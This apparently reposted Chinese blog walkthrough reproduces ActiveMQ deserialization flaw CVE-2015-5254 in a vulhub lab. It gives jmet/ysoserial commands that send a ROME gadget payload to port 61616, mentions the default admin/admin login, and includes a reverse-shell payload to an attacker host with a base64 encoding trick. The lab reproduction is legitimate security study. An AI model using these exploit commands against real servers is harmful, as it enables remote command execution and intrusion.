首页 > 其他 > 详细

ActiveMq反序列化漏洞复现 CVE-2015-5254

时间:2021-03-31 16:14:41      阅读:26      评论:0      收藏:0      [点我收藏+]

ActiveMq反序列化漏洞复现

0x01.搭建靶场

利用vulnhub搭建漏洞靶场

service docker start
docker-compose up -d

技术分享图片

查看开启的端口号

docker-compose ps

技术分享图片

开启了8161和61616端口,其中61616是工作端口,消息在这个端口进行传递; 8161是网络管理页面端口访问http://target_ip:8186即可看到网络管理页面。

技术分享图片

访问http://target_ip:8186/admin/

默认用户名密码(admin/admin)

技术分享图片

0x02.漏洞复现

1.漏洞利用过程

  • 构造(可以使用ysoserial)可执行命令的序列化对象

  • 作为一个消息,发送给目标61616端口

  • 访问web管理页面,读取消息,触发漏洞

2.使用jmet进行漏洞利用

首先下载jmet的jar文件,并在同目录下创建一个external文件夹(否则可能会爆文件夹不存在的错误)。

jmet原理是使用ysoserial生成Payload并发送(其jar内自带ysoserial,无需再自己下载),所以我们需要在ysoserial是gadget中选择一个可以使用的,比如ROME。

3.执行命令

java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "touch /tmp/sucess" -Yp ROME   target_ip   61616

技术分享图片

4.触发

此时会给目标ActiveMQ添加一个名为event的队列,我们可以通过http://taget_ip:8161/admin/browse.jsp?JMSDestination=event看到这个队列中所有消息

技术分享图片

点击查看这条消息即可触发命令执行

技术分享图片

此时进入容器,可见/tmp/success已成功创建,说明漏洞利用成功

docker-compose exec activemq bash
cd /tmp/
ls

技术分享图片

5.反弹shell

构造payload反弹shell,但用这种payload是无法接收到shell的

bash -i >& /dev/tcp/attack_ip/port 0>&1 #反弹shell
java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "bash -i >& /dev/tcp/attack_ip/port 0>&1" -Yp ROME target_ip 61616

所以使用base64编码绕过java的机制

java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "bash -c {echo,payload的base64编码}|{base64,-d}|{bash,-i}" -Yp ROME 192.168.89.129 61616

技术分享图片

在攻击机上监听端口,之后http://taget_ip:8161/admin/browse.jsp?JMSDestination=event中点击访问后成功反弹shell

技术分享图片

ActiveMq反序列化漏洞复现 CVE-2015-5254

原文:https://www.cnblogs.com/-Anguvia-/p/14601084.html

(0)
(0)
   
举报
评论 一句话评论(0
关于我们 - 联系我们 - 留言反馈 - 联系我们:wmxa8@hotmail.com
© 2014 bubuko.com 版权所有
打开技术之扣,分享程序人生!